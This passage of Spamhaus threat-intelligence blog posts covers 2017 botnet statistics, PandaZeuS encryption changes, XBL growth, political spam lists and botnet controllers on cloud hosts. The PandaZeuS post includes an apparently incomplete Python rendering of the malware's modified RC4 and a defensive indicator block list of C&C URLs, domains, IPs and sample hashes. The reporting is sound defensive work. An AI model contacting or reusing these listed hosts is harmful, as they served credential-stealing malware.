forensics specialists located in 9 countries.

Spamhaus Botnet Threat Report 2017

The Spamhaus Team — Mon, 08 Jan 2018 17:22:19 GMT

Now that 2017 is behind us, as we do each year, the Spamhaus Project would like to give some numbers and thoughts on the botnet threats we encountered. In 2017, Spamhaus Malware Labs identified and issued Spamhaus Block List (SBL) listings for more than 9,500 botnet Command & Control servers on 1,122 different networks. A botnet controller, commonly abbreviated as "C&C", is being used by fraudsters to both control malware infected machines and to extract personal and valuable data from malware infected victims. Botnet controllers therefore play a core role in operations conducted by cybercriminals who are using infected machines to send out spam, ransomware, launch DDoS attacks, commit ebanking fraud, click-fraud or to mine cryptocurrencies such as Bitcoin. An infected machine can be a desktop computer, mobile device (like a smartphone) but also an IoT device ("Internet Of Things") device such as webcam or network attached storage (NAS) that is connected to the internet. Spamhaus SBL + BCL In 2017, nearly every 7th SBL listing that Spamhaus issued was for a botnet controller. The number of such botnet "C&C" listings increased by a massive 32% in 2017. The majority (6,588 or 68%) of botnet controllers Spamhaus found in 2017 were hosted on servers that had been ordered by cybercriminals for the solely purpose of hosting a botnet controller. Of course, cybercriminals do not use their real names to order infrastructure for botnet operation: they conduct so-called fraudulent sign-ups, using a fake or stolen identity. Whenever Spamhaus' Malware Labs comes across such a botnet controller, we issue a special kind of SBL listing: A BCL listing. The BCL - which stands for Botnet Controller List - is a "drop all traffic" list intended for use by networks to null route traffic to and from botnet controllers. The Spamhaus BCL only lists IP addresses of servers set up and operated by cybercriminals for the exclusive purpose of hosting a botnet controller (fraudulent sign-ups). Because these IP addresses host no legitimate services or activities, they can be directly blocked on ISP and corporate networks without risk of affecting legitimate traffic, effectively rendering harmless infected computers that may be present on their networks. Compared to 2016, the number of such BCL listings increased by more than 40%. Comparing the number of BCL listings to 2014, it is an increase of more of 90%. The following chart shows the number of total botnet listings (compromised websites, compromised servers, fraudulent sign-ups) Vs. pure BCL listings (fraudulent sign-ups): Botnet controller listings per month (2017)") In average, we have issued between 600 and 700 BCL listings per month: Botnet controller listings per month (2017)") The statistics exclude botnet controllers that are hosted on the dark web (like Tor). The use of such anonymization networks by botnet operators became more popular starting in 2016 because the location of the botnet controller can't be identified and hence a takedown of the server is almost impossible. For anonymization service like Tor we therefore recommend a whitelist approach: In general, block access to such service except for those users who need it (opt-in). For botnet controllers that were not behind an anonymization network, we produced some statistics. The following table shows a list of hosting Internet Service Providers (ISP) ranked by number of C&Cs detected on that ISP's network during the past year. It also includes 2016 data to observe trends. This data includes botnet controllers that were hosted on compromised servers or websites, as well as those hosted through fraudulent sign-ups (BCL listings). Overall botnet hosting (compromised websites, compromised servers, fraudulent sign-ups - BCL): | Rank | C&Cs 2017 | C&Cs 2016 | Network | Country | | --- | --- | --- | --- | --- | | 1 | 402 | 395 | ovh.net | FR | | 2 | 317 | 54 | amazon.com | US | | 3 | 256 | 1 | anmaxx.net | SC Seychelles (SC) | | 4 | 231 | 71 | choopa.com | US United States (US) | | 5 | 200 | 60 | hostsailor.com | AE United Arab Emirates (AE) | | 6 | 197 | 34 | alibaba-inc.com | CN China (CN) | | 7 | 179 | 83 | digitalocean.com | US United States (US) | | 8 | 176 | 14 | tencent.com | CN China (CN) | | 9 | 162 | 75 | worldstream.nl | NL Netherlands (NL) | | 10 | 144 | 65 | timeweb.ru | RU Russia (RU) | | 11 | 132 | 72 | quadranet.com | US United States (US) | | 12 | 127 | 5 | mtw.ru | RU Russia (RU) | | 13 | 126 | 24 | aruba.it | IT Italy (IT) | | 14 | 125 | 79 | hetzner.de | DE Germany (DE) | | 15 | 124 | 167 | endurance.com | US United States (US) | | 16 | 112 | 128 | ispserver.com | RU Russia (RU) | | 17 | 111 | 71 | blazingfast.io | UA Ukraine (UA) | | 18 | 108 | 19 | namecheap.com | US United States (US) | | 19 | 108 | 41 | qhoster.com | NL Netherlands (NL) | | 10 | 107 | 118 | colocrossing.com | US United States (US) | The table shows the total number of detected botnet controllers per ISP, not distinguishing between compromised webservers/websites or fraudulent sign-ups. This has to be considered carefully before drawing conclusions from the data. In general, large networks attract more abuse than smaller ones, simply due to the fact that they host more servers and websites that are poorly patched or not maintained at all. It can be quite difficult for an ISP or hosting provider to prevent the compromise of a customer's server or website, since these are often fully under the control of the customer. In fact, many servers and websites are running outdated software, which makes them vulnerable to many attacks from the internet. It is an easy task for a cybercriminal to scan the internet for servers or websites that are running outdated or vulnerable software. Some of the most popular open source content management systems (CMS) like WordPress, Joomla, Typo3 or Drupal are especially popular targets, due the high number of poorly maintained installations of these packages. We have seen that some of the more proactive ISPs and hosting providers are now using newer tools and methods to track down outdated software and monitor C&C traffic. Of course, blocking traffic to known C&Cs is a good start. One of the problems we have seen in 2017 is that some hosting providers just remove the malicious file(s) on a compromised website where the botnet controllers resides, without identifying and fixing the initial infection vector. As a result of this bad practice, the botnet controller reappears shortly after the file has been removed by the hosting provider. Sometimes we have to notify a hosting provider multiple times about the botnet controller because the issue reappears again and again until the hosting provider finally identifies and fixes the culprit. Compromised servers and websites are just one part of the problem. The other part of the ongoing botnet problem is the fraudulent sign-ups we have written about before. What stands out in 2017 is the dramatic increase of botnet controllers hosted at cloud providers: In April 2017 we blogged about this emerging abuse problem (https://www.spamhaus.org/news/article/736/botnet-controllers-in-the-cloud). While some of the cloud providers managed to deal with the increase of fraudulent sign ups, others are obviously still struggling with the problem. Thus, it is not surprising that they made it into the list of top 20 botnet controller hosting networks. Botnet Controller Listings (BCL - fraudulent sign-ups) per network: | Rank | C&Cs 2017 | C&Cs 2016 | Network | Country | | --- | --- | --- | --- | --- | | 1 | 303 | 36 | amazon.com | US United States (US) | | 2 | 281 | 295 | ovh.net | FR France (FR) | | 3 | 247 | 0 | anmaxx.net | SC Seychelles (SC) | | 4 | 207 | 61 | choopa.com | US United States (US) | | 5 | 186 | 27 | alibaba-inc.com | CN China (CN) | | 6 | 175 | 10 | tencent.com | CN China (CN) | | 7 | 160 | 55 | hostsailor.com | AE United Arab Emirates (AE) | | 8 | 147 | 49 | worldstream.nl | NL Netherlands (NL) | | 9 | 128 | 56 | digitalocean.com | US United States (US) | | 10 | 112 | 72 | quadranet.com | US United States (US) | | 11 | 111 | 16 | aruba.it | IT Italy (IT) | | 12 | 99 | 69 | blazingfast.io | UA Ukraine (UA) | | 13 | 96 | 4 | mtw.ru | RU Russia (RU) | | 14 | 88 | 53 | leaseweb.com | NL Netherlands (NL) | | 15 | 87 | 32 | iliad.fr | FR France (FR) | | 16 | 85 | 112 | colocrossing.com | US United States (US) | | 17 | 81 | 41 | qhoster.com | NL Netherlands (NL) | | 18 | 81 | 23 | host1plus.com | GB Great Britain (GB) | | 19 | 80 | 65 | virpus.com | US United States (US) | | 20 | 80 | 15 | dataclub.biz | BZ Belize (BZ) | Note that this table shows the raw number of botnet controllers on each network. It says nothing about how long each botnet controller was left active, or whether the provider heeded C&C reports from Spamhaus or not. In 2017, we have made the experience that hosting providers that are being misused by cybercriminals for botnet hosting for several years now in general swiftly respond to abuse complaints. Unlike most of the big cloud providers who apparently were overwhelmed by the huge amount of fraudulent sign ups hitting their service in 2017: Some of them do still need to spend much time to address and stop abuse being generated in their network. Looking at the geographic location of the botnet controllers, the top botnet hosting country is the US, followed by Russia: Botnet controller Geo location Let us also have a look at what kind of malware was associated with the botnet controllers Spamhaus detected in 2017. The table below shows the number of all botnet listings per malware family in 2017. | Rank | C&Cs | Malware | Note | | --- | --- | --- | --- | | 1 | 1015 | Downloader.Pony | Dropper / Credential Stealer | | 2 | 943 | IoT malware | Generic IoT malware | | 3 | 933 | Loki | Dropper / Credential Stealer | | 4 | 437 | Chthonic | e-banking Trojan | | 5 | 389 | Smoke Loader | Dropper / Credential Stealer | | 6 | 325 | JBifrost | Remote Access Tool (RAT) | | 7 | 293 | Cerber | Ransomware | | 8 | 281 | Gozi | e-banking Trojan | | 9 | 264 | Redosdru | Backdoor | | 10 | 258 | Heodo | e-banking Trojan | | 11 | 258 | Adwind | Remote Access Tool (RAT) | | 12 | 211 | Glupteba | Spam bot | | 13 | 203 | TrickBot | e-banking Trojan | | 14 | 175 | Dridex | e-banking Trojan | | 15 | 168 | Neutrino | DDoS bot / Credential Stealer | | 16 | 162 | ISRStealer | Backdoor | | 17 | 148 | Worm.Ramnit | e-banking Trojan | | 18 | 148 | Hancitor | Dropper | | 19 | 132 | AZORult | e-banking Trojan | | 20 | 131 | PandaZeuS | e-banking Trojan | Comparing these numbers with those of 2016 leads us to some interesting findings: The number of IoT botnet controllers more than doubled from 393 in 2016 to 943 in 2017. While in 2014 a vast amount of the botnet controllers that Spamhaus identified were associated with ZeuS, 2017 was the first year were ZeuS did not made it into the top 20 malware families. It appears that the notorious ZeuS e-banking Trojan can be considered dead. Although, modern e-banking Trojans like Chthonic or PandaZeuS do still rely on the leaked source code of the original ZeuS. The Ransomware landscape is very dynamic: While Locky and TorrentLocker where omnipresent in 2016, those two ransomware families did not made it into the top 20 in 2017. They have been replaced by the Cerber ransomware. Java based malware families were flooding the web in 2017. These are usually some sort of remote access tools (RAT). One of the most popular ones in 2017 where JBifrost and Adwind. Spamhaus DBL + Malware Domain List To host their botnet controllers, cybercriminals usually prefer to use domain name that they register for exclusively that purpose. This is because a dedicated domain name allows the cybercriminal to fire up a new VPS, load the botnet controller kit, and immediately be back in contact with his botnet after his (former) hosting provider shuts down his botnet controller server. Not having to change the configuration of each infected computer (bot) on the botnet is a major advantage. Spamhaus therefore tracks both IP addresses and domain names that are used for C&C servers. IP addresses that host botnet controllers are listed in the Spamhaus SBL and/or BCL. Domain names that are used for botnet controller hosting are listed in the Spamhaus DBL or Malware Domain List, a sub-set of DBL that contains domain names used for botnet and malware hosting. It is not uncommon that cybercriminals use a domain name generation algorithm (DGA) to make their botnet C&C infrastructure more resilient against takedown efforts and seizures conducted by law enforcement agencies or IT-security researchers. In 2017, Spamhaus DBL listed almost 50,000 botnet controller domain names registered and set up by cybercriminals for the solely purpose of hosting a botnet controller. This excludes hijacked domain names (domains owned by non-cybercriminals that were used without permission) and domains on "free sub-domain" provider services. There are many different top-level domains (TLDs), both generic TLDs (gTLDs) used by anybody, and country code TLDs (ccTLDs) that in many cases are restricted to use within a particular country or region (Many ccTLDs are licensed for general use and are therefore functionally equivalent to gTLDs). Let's have a look at which g/ccTLD cybercriminals chose most often for their botnet operations: | Rank | Domains | TLD | Note | | --- | --- | --- | --- | | 1 | 14,218 | com | gTLD | | 2 | 3,707 | info | gTLD | | 3 | 3,546 | top | gTLD | | 4 | 2,516 | org | gTLD | | 5 | 1,607 | net | gTLD | | 6 | 1,463 | biz | gTLD | | 7 | 1,370 | ru | ccTLD | | 8 | 1,256 | click | gTLD | | 9 | 1,222 | xyz | gTLD | | 10 | 848 | eu | gTLD | | 11 | 729 | space | gTLD | | 12 | 513 | website | gTLD | | 13 | 465 | us | ccTLD | | 14 | 420 | work | gTLD | | 15 | 344 | tw | ccTLD | | 16 | 290 | online | gTLD | | 17 | 241 | bid | gTLD | | 18 | 236 | pro | gTLD | | 19 | 210 | cc | originally ccTLD, now effectively gTLD | | 20 | 202 | su | ccTLD | We have seen a vast amount of botnet controller domain names being registered in gTLD .com. When using domains in ccTLDs, cybercriminals choose .ru ccTLDs most often in 2017. TLDs do not have the same total numbers of registered domains. For example, the .com TLD has more than 100 million registered domains, while the .ru TLD has slightly fewer than six million. If we compare the total number of registered domain names in each TLD against the number of malicious domain names in that TLD seen by the DBL, the ccTLD .ru was the one that has been most heavily abused. To get a (botnet) domain name registered, cybercriminals need to find a sponsoring registrar. The following table shows a list of domain registrars ranked by the total number of botnet controller domain names detected by Spamhaus DBL in 2017. Please consider that these are fraudulent domain name registrations only. More than 25% of all registered botnet domain names have been registered through Namecheap. | Rank | Domains | Registrar | Country | | --- | --- | --- | --- | | 1 | 11,878 | Namecheap | US | | 2 | 2,977 | Eranet International | CN China (CN) | | 3 | 2,106 | PDR | IN India (IN) | | 4 | 1,335 | ENom | US United States (US) | | 5 | 1,068 | Shinjiru | MY Malaysia (MY) | | 6 | 856 | Alibaba (aka HiChina/net.cn) | CN China (CN) | | 7 | 812 | NameSilo | US United States (US) | | 8 | 765 | R01 | RU Russia (RU) | | 9 | 606 | Alpnames | GI Gibralta (GI) | | 10 | 494 | RegRU | RU Russia (RU) | | 11 | 447 | Bizcn | US China (CN) | | 12 | 370 | Gandi | FR France (FR) | | 13 | 303 | Tucows | US United States (US) | | 14 | 281 | CentralNic | GB Great Britain (GB) | | 15 | 233 | Xin Net | US China (CN) | | 16 | 232 | Ardis | RU Russia (RU) | | 17 | 212 | NameBright (aka DropCatch) | US United States (US) | | 18 | 191 | Domain.com | US United States (US) | | 19 | 176 | Todaynic | US China (CN) | | 20 | 155 | WebNic.cc | MY Malaysia (MY) | As with ISPs that host botnet controllers, many of these registrars are simply large registrars. While the total numbers of botnet domains at the registrar might appear large, the registrar does not necessarily support cybercriminals. Registrars simply can't detect all fraudulent registrations or registrations of domains for criminal use before those domains go live. The "life span" of criminal domains on legitimate, well-run, registrars tends to be quite short. However, other much smaller registrars that you might never have heard of (like Shinjiru or WebNic) appear on this same list. Several of these registrars have an extremely high proportion of cybercrime domains registered through them. Like ISPs with high numbers of botnet controllers, these registrars usually have no or limited abuse staff, poor abuse detection processes, and some either do not or cannot accept takedown requests except by a legal order from the local government or a local court. Since many cybercrime-friendly registrars are located in countries with no or slow legal recourse against cybercrime, obtaining a legal order can be difficult or impossible. Because cybercrime-registrars will not cooperate with law enforcement and other entities to shut down botnets, a botnet with C&C domains registered through such a registrar requires lengthy, coordinated, and extensive efforts to shut down. This normally works by involving the TLD or ccTLD's registry. Meanwhile, innocent people are at risk of having online banking credentials compromised and bank accounts emptied, or other valuable information stolen for use in identity theft and fraud. Conclusion Looking forward to 2018, there is no sign that the number of cyber threats will decrease. The big increase of IoT threats in 2017 is very likely to continue in 2018. We are sure that securing and protecting IoT devices will be a core topic in 2018. Spamhaus products like the Botnet Controller List (BCL), Malware Domain List or Zero Reputation Domain (ZRD) can help you to protect not only your IoT devices but also spot potential intruders and infected machines in your network. Cloud providers rotating botnet controllers around different IP addresses present a threat to Spamhaus users. We therefore hope that cloud hosting providers will speed up and increase their abuse desks to not only respond to abuse problems in time but also to take preventive measures to battle fraudulent sign ups. We also hope that hosting providers will educate abuse desk staff in order to deal with complex abuse problems in a more professional way and hence prevent that, for example, abuse problems on a compromised websites reappear by taking the appropriate measures (and not just by deleting the offensive content!). Due to the increase of botnet controllers we recommend network owners to block traffic to anonymization services like Tor by default and provide users who want or need to access to services the possibility to "Opt-In". Speaking about domain names, we would like to see Registries and Registrars taking their responsibility by implementing appropriate mechanisms to prevent fraudulent domain registrations. For example, it is embarrassing that botnet operators are able to register DGA botnet controller domains under their account again and again while the sponsoring domain name registrar is not taking action against the offensive account. About Spamhaus The Spamhaus Project is an international nonprofit organization whose mission is to track the internet's spam operations, to provide dependable realtime anti-abuse protection & threat-intelligence for Internet networks and to work with Law Enforcement Agencies to identify and pursue spammers worldwide. The number of internet users whose mailboxes are currently protected by Spamhaus DNSBLs now exceeds 2.7 Billion. Founded in 1998, Spamhaus is based in Geneva, Switzerland and London, UK and is run by a dedicated team of 30 investigators and forensics specialists located in 9 countries. Related Spamhaus Products Spamhaus Response Policy Zone (RPZ) Spamhaus Zero Reputation Domain (ZRD) Spamhaus Botnet + Malware Domain List Spamhaus Botnet Controller List (BCL) Further reading Botnet Controllers in the Cloud How hosting providers can battle fraudulent sign-ups Spamhaus Botnet Summary 2016 Spamhaus Botnet Summary 2014 The World's Most Abused Domain Registrars

PandaZeuS’s Christmas Gift: Change in the Encryption scheme

The Spamhaus Team — Thu, 28 Dec 2017 08:28:23 GMT

Spamhaus Malware Labs - Spamhaus's malware research unit - recently observed a wave of new PandaZeuS malware samples being distributed during the Christmas season. PandaZeuS, also known as Panda Banker, is an ebanking Trojan that evolved from the notorious ZeuS trojan and is being used by different threat actors to compromise ebanking credentials, used by cybercriminals to commit ebanking fraud. Looking into two recent PandaZeuS campaigns that have just been spread before Christmas revealed that the most recent version of PandaZeuS comes with a few minor changes. An important one is the change in the encryption scheme of PandaZeuS’s Base Config. While PandaZeuS is still using the RC4 binary encryption scheme, it comes with some tiny modifications. First of all, the versioning of PandaZeuS got updated to 2.6.1: PandaZeuS: New version 2.6.1 New version 2.6.1 In the previous version, the base config was AES-265-CBC and RC4 encrypted . While this is still the case of the most recent version of PandaZeuS too, a slight modification in RC4 has been done: PandaZeuS code snipped PandaZeuS code snipped The screenshot above documented the changes made to by the developers of PandaZeuS to the code: Initial Key Stream Array is initialized The State Array is modified 4 \* 30 times and the keystream value is omitted Reusing the previous indexes, State Array is modified and keystream values obtained is XORed with encrypted byte. This can be represented in Python code as: for i in range(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 S[i], S[j] = S[j], S[i] i = j = 0 for x in range(0, 30 * 4): i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] for p in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] While we can only speculate about the reason of this minor change in the encryption scheme of PandaZeuS, we suspect the intent behind this code change is to break malware extractors used by malware researchers to extract botnet controllers from PandaZeuS malware samples. Looking into sinkhole data of one of these PandaZeuS campaigns shows that the botnet is mainly targeting English-speaking internet users: PandaZeuS most infected countries In addition, the associated botnet domain names are poorly detected: 262d65fc7f47.tk VT detection rate: 2/66 922b031aac47.tk VT detection rate: 3/66 Indicators of Compromise (IOC) Campaign #1 PandaZeuS botnet controller URLs: hxxps://922B031AAC47.tk/2egublocatolaubhaqiec.dat hxxps://262D65FC7F47.tk/3fefavyamzaosanocheyt.dat hxxps://262D65FC7F98.ml/4uryctexaesleikbosoil.dat hxxps://262D65FC7F10.ga/5texyiwkuoffokirefeub.dat hxxps://262D65FC7F98.cf/6huqefeaplefoucvyudow.dat PandaZeuS botnet controller domain names (blocked by Spamhaus RPZ): 262D65FC7F10.ga 262D65FC7F47.tk 262D65FC7F98.cf 262D65FC7F98.ml 922B031AAC47.tk PandaZeuS botnet controllers (blocked by Spamhaus BCL): 89.18.27.155 94.156.128.207 155.94.67.27 Related malware samples (MD5): 0d1150d89f94701b54c7feb81d83a8fd 3e7632e36c96a5be6721f57828dbc7f5 Campaign #2 PandaZeuS botnet controller URLs: hxxps://gromnes.top/1iqrozoymydfykiabloyx.dat hxxps://aklexim.top/2pugyomxixiusqoxuvein.dat hxxps://kichamyn.top/3efqykyfeetraygyhytuz.dat hxxps://myrasno.top/4tieseqpaowosputoezyl.dat hxxps://brumnoka.top/5ybveogaqydriumytzaun.dat hxxps://bqwernod.top/6efudpigoreudtygoedco.dat PandaZeuS botnet controller domain names (blocked by Spamhaus RPZ): aklexim.top bqwernod.top brumnoka.top gromnes.top kichamyn.top myrasno.top PandaZeuS botnet controllers (blocked by Spamhaus BCL): 27.102.67.144 5.8.88.133 Related malware samples (MD5): 02ac00fe985091b78eaeb64ee697d57f 9be7c5e014c560db231518a13b18dfea a3a4ef76764c9e3e9c91698b7adbd795 b42d194091de01d9645b323cd8ac425f 48e4f66aeb6dcb991ae57ac8294d2911 9ff828a80d8408a1e5533ecc304c7e9e Related Spamhaus Products Spamhaus Response Policy Zone (RPZ)") Spamhaus Botnet + Malware Domain List (BDL)") Spamhaus Botnet Controller List (BCL)") Spamhaus Malware Labs is Spamhaus's malware research unit run in conjunction with Deteque, a subsidiary of Spamhaus Technology Ltd.

Did anyone recently notice that the Spamhaus XBL just got really big?

The Spamhaus Team — Tue, 19 Dec 2017 07:11:23 GMT

Yes, the XBL grew by over 50%! Over the past three weeks, some of our users have noticed that the XBL (CBL) database has grown substantially in size. There are two major reasons for this. 1) Increase from the Internet of Things (IoT) There has been a substantial increase in the amount of IoT scanning. Which means that the operators of IoT malicious botnets are trying to grow their populations of hacked devices. We noticed an oddity where Argentina seems to have had more than their fair share of the increase. This may have something to do with compromises being found in devices common to Argentinian ISP customers. For example, a new IoT variant similar to Mirai called Satori has appeared and seems to be attacking the Huawei Home Gateway routers in particular. The total number of IoT entries in the XBL has increased from just under 1 million to over 2.5 million. As of today, Egypt is in the lead with approximately 1.2 million Mirai infections detected. This is suggestive that one or more ISPs there are distributing access modems/routers that are particularly vulnerable to this wave of Mirai attacks. 2) Increase from the Andromeda botnet takedown The Andromeda Takedown on November 29, 2017 has resulted in the entire Andromeda (a/k/a Gamarue) Command and Control (C&C) network being taken over. We get a feed of this data, which has led to the number of entries to skyrocket from a few tens-of-thousands to now over 6 million. The XBL data Most Spamhaus XBL users query our zones via DNS and will not have noticed the size change as the data is presented one entry at a time. Those who have larger traffic or wish to do their own analysis of this real-time feed can subscribe to an rsync feed of the XBL. As one can see, the growth of the XBL zone, which is normally seen as a bad-thing since it usually tracks the increase in compromised systems, can at times also point to something good. In this case, the dismantling of a large, notorious, botnet system. ««»»

French government provides spam lists

The Spamhaus Team — Tue, 30 May 2017 06:52:55 GMT

The government of France provides lists of email addresses to French political candidates for them to use when sending campaign emails. Unfortunately these lists have many spamtrap addresses on them. Our spamtrap email addresses cannot have been legitimately subscribed to this list, and most assuredly do not belong to French voters. The presence of spamtraps is evidence that other addresses on the list did not "opt in" to that list. Possibly worse, it appears that these lists might have been provided directly to the candidates. Email addresses are generally considered to be private information, and address owners do not expect their private information to be distributed beyond the permission which they grant. Distributing lists to third parties places recipient email addresses "in the wild," causing the owners of those email addresses to lose control of their use. A centralized "unsubscribe" mechanism is not possible with such distribution. The email addresses on widely distributed lists become vulnerable to data theft because lists are kept in many different locations with untested security provisions. We learned of this issue recently when two different French candidates became entangled in two of our automated spam detection systems, the DBL and the CSS. The candidates whose IPs and domains were listed by us, when contacting us to resolve the listings, independently told us that the lists they were sending to were provided by the French government: "I am a candidate for the French election next week and need to send as soon as possible an email to the 100000 people eligible to vote to explain my program and motivations. Emails has been given by french authorities." "Our lists are opt-in and have been provided by the French Government." Politicians around the world are often entirely too willing to ignore the "rules of the road" on the Internet. We frequently hear the age-old excuse, "but my unsolicited bulk email isn't spam" from those who contact us. That excuse has been used by spammers since before Spamhaus existed. The problem with this excuse is that "unsolicited bulk email" is the very definition of spam. The US CAN-SPAM law carves out specific exemptions for political spam, and so do laws in other jurisdictions, but these laws only define which spam is allowed by law and which is not in a specific legal jurisdiction. Those laws do not define what spam is, nor do they recognize the international nature of email and email addresses. While some political spam may be legal, it is still spam. To the recipient who never asked to receive incoming bulk email, your important political message is just another piece of junk that got past their spam filters and landed in their inbox. To mail administrators who manage the mail servers that must process these unsolicited and unwanted messages, it's just more resources wasted coping with junk that nobody asked for or wants. The law might not be of much use in stopping spam from lawmakers who refuse to classify their unwanted bulk email with that sent by non-politicians, but users are not helpless. They can, for example, refuse to do business with companies that spam, or they can not vote for politicians that spam. The Boulder Pledge "never to purchase anything offered through the result of an unsolicited email message" is still followed by many people, at Spamhaus and elsewhere. A government could maintain, at least in theory, a legitimate mailing list of interested citizens who want to receive campaign mailings. It would require that proper expectations be set. The topic and general content of the emails should be established. The government would also need to explain how the list will be managed, who will send email to it, and where users can subscribe, manage their subscriptions, and remove themselves from it. In addition, users should be given some idea of the volume and/or frequency of emails. Email address collection must use confirmed opt in (COI) for all sign-ups, and in addition implement a CAPTCHA on any web forms to prevent "subscription bombing". The email addresses would need be stored securely, encrypted with limited access to the key. Subscribers' email addresses would not be distributed to the candidates. Instead, the candidates would submit their content to the list operator, who would do the mail-merge and actual sending. That model is known in the bulk emailing trade as "list rental." It is legitimate because subscribers' email addresses remain under the control of the same organization that solicited the subscriptions. (Permission to send bulk email to a particular email address or list is not transferable.) The list owner or manager of any bulk email list is responsible for the integrity of the list data. Bounces and unsubscribes must be removed promptly, and non-responding email addresses must be weeded out after a reasonable period of time (three to six months). Finally, the list must be mailed frequently enough to detect abandoned mailboxes before they churn to other owners and other uses. It is not always easy to maintain a good, clean bulk emailing list, but legitimate bulk senders do it routinely. Anybody can do it if they learn how and follow best practice. France might be attempting to use such a "list rental" model. Both the examples we encountered were sent from SendinBlue's network. SendinBlue is an established ESP in France. It has the capability to properly manage a list rental service. France and SendinBlue, please take this hint that the list you are providing to your political candidates is dirty, full of spam traps, and desperately in need of a thorough cleaning and a permission pass as described in our Marketing FAQ. We removed the IPs and domains used by the two political candidates who contacted us from our lists, and pointed the candidates to the following information. Recommended reading Definition of spam: Marketing FAQ: COI + CAPTCHA: Glossary:

Botnet Controllers in the Cloud

The Spamhaus Team — Tue, 25 Apr 2017 15:43:02 GMT

Cloud computing is popular these days. Millions of users consume computing power out of the cloud every day. Cloud computing comes with several advantages over traditional server hosting, such as scalability and quick deployment of new resources. As of January 2017, several large botnet operators appear to have discovered the benefits of cloud computing as well, and have started to deploy their botnet controllers in the cloud. Since early 2017, we at Spamhaus have seen a significant increase in the number of botnet controllers (botnet command and control servers, C&C, C2) popping up at legitimate cloud computing providers. Most have been at Amazon's Cloud Computing platform "AWS" but we have recently seen an increase in new botnet controllers hosted on Google's Cloud Computing platform "Compute Engine". The chart below documents the numbers of newly detected botnet controllers at Amazon AWS and Google Compute Engine. Graphic: botnet controllers in Amazon and Google clouds Discussion This chart is based only on botnet controllers. It does not include other fraudulent infrastructure, such as payment sites for ransomware (TorrentLocker, Locky, Cerber etc) or malware distribution sites. We have seen a spike in those types of criminal infrastructure at Amazon and Google as well. Neither Amazon nor Google are handling abuse reports about botnet controllers, malware distribution sites, and other types of criminal activity on their clouds in a timely manner. Both allow botnet controllers to remain online for weeks at a time, despite multiple abuse reports and reminders. Spamhaus has reached out repeatedly to both Amazon and Google about these abuse problems, but has received no relevant response from either so far. As we are lacking any useful feedback from Amazon and Google on the causes of these ongoing abuse problems, we can only speculate. Previous experience with issues at cloud providers suggest that a weak or non-existent customer verification process might be the root cause of these abuse problems. Other factors which could lead to such problems include a weak Acceptable Use Policy, or a corporate culture and management not supporting of Abuse Desk policy enforcement. We encourage Amazon and Google to take the appropriate actions to stop all outstanding abuse problems on their networks, just as all responsible hosting networks must do. These are the specific issues which we are presently tracking at those networks: Open SBL Advisories in the responsibility of amazon.com: Open SBL Advisories in the responsibility of google.com: In addition, Amazon and Google must take necessary and appropriate steps to prevent further abuse of all types from being generated on their network. That includes reacting to abuse reports from many sources including, but not limited to, SBL listings, and effectively prohibiting all services to spammers and other abusive users. We at Spamhaus are continuing to monitor the situations at Amazon AWS and Google Compute Engine, and may take additional action(s) to protect Spamhaus users from further abuse generated on those networks. We are by no means happy to publish a complaint of this nature against two such established Internet companies, yet at this time we are very concerned about the ongoing abuse tolerated by networks which should be setting reputational standards for legitimate hosting, and not for supporting botnets. Further reading How hosting providers can battle fraudulent sign-ups: Spamhaus Botnet Summary 2016: M3AAWG Hosting Best Practices 2015 Update 2017-05-06 04:17 UTC* We are in contact with appropriate Security and Abuse personnel at Amazon. They are aware of Amazon's SBL listings and they are attempting to stop the problems. Unfortunately, at this time there are still botnet controllers active more than 24 hours after notification, and snowshoe spammers are rampant on AWS cloud ranges. Amazon has requested additional information regarding some SBL records. While ongoing efforts are needed to curtail abuse of its hosting space, Spamhaus appreciates Amazon's efforts to resolve those issues and we are happy to process SBL removals as we receive them. Communication status with Google Abuse and Security personnel remains a concern. Botnet controller, phish, spam and carder sites remain active long after notification. Google, please respond! Update 2017-05-12 23:50 UTC Thank you for responding, Google, we look forward to resolving the outstanding SBL issues. ««»»

Spamhaus Botnet Summary 2016

The Spamhaus Team — Tue, 17 Jan 2017 13:55:00 GMT

2016 was a busy year for existing and emerging cyber threats. In the past year, Spamhaus researchers issued listings for over 7,000 botnet Command & Control ("C&C") servers on more than 1,100 different networks. These C&C servers enabled and controlled online crime such as credential theft, e-banking fraud, spam and DDoS attacks. They were also used for the retrieval of stolen data. 2016 will also go down in history as the first year that security issues related to the "Internet of Things" (IoT) not only became mainstream, but turned into a serious enabler of ever larger attacks and a source of many future problems. In 2016, one out of five SBL") listings was for a botnet C&C server. Such servers are used by cybercriminals to control infected computers ("bots") and to retrieve stolen data from them. While 7,314 is a very high number of C&C servers, it is however a decrease of 1,166 (or 13.8%) in botnet controllers from the number we detected in 2015. The majority (4,481 or 61.3%) of botnet controllers Spamhaus found in 2016 were hosted on servers that had been ordered by cybercriminals for the exclusive purpose of hosting a botnet controller (so called fraudulent sign-ups). This is an increase of 472 (or 11.8%) compared to 2015 and a new development that emerged in 2015, where the majority of newly detected botnet controllers moved from compromised websites to servers specifically ordered by cybercriminals for hosting botnet C&Cs. All botnet C&C IP addresses detected were automatically listed on the Spamhaus Botnet Controller List (BCL)"), a specialized "drop all traffic" list intended for use by networks to null traffic to and from botnet controllers. The Spamhaus BCL only lists IP addresses of servers set up and operated by cybercriminals for the exclusive purpose of hosting a botnet controller. Because these IP addresses host no legitimate services or activities, they can be directly blocked on ISP and corporate networks without risk of affecting legitimate traffic, effectively rendering harmless infected computers that may be present on their networks. Botnet listings total (BCL + compromised): | Year | Listings | | --- | --- | | 2016 | 7,314 | | 2015 | 8,480 | | 2014 | 7,182 | Pure BCL listings: | Year | Listings | | --- | --- | 2016 | 4,481 | 2015 | 4,009 | 2014 | 3,425 | As we show here, during 2016, the numbers of server-hosted botnet controllers decreased. One of the reasons for this is the increase use of anonymization networks ("dark web") by miscreants to cover the real location of their botnet controllers. In particular, the use of Tor by cybercriminals has vastly increased in past year. Due to the nature of such anonymization networks, it is impossible to easily block certain content hosted in the dark web (e.g. botnet controllers), nor to identify the final target of a C&C communication (e.g. where the malware is sending the stolen data, such as credentials or credit card details, to). From the perspective of a network operator, the only way to prevent abuse from anonymization networks is to block them entirely (which can be a difficult choice as there are also legitimate uses for them). We believe that ISPs and hosting providers will be confronted in the near future with the question of whether to allow the use of anonymization services such as Tor or to block them completely, unless operators of anonymization services step up to stop abusers in a more effective way. For botnet controllers that were not behind an anonymization network, we produced some statistics. The following table shows a 